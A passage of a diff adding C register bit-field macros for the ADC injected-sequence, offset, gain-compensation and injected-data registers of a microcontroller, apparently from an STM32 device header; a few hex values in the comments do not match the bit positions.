external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 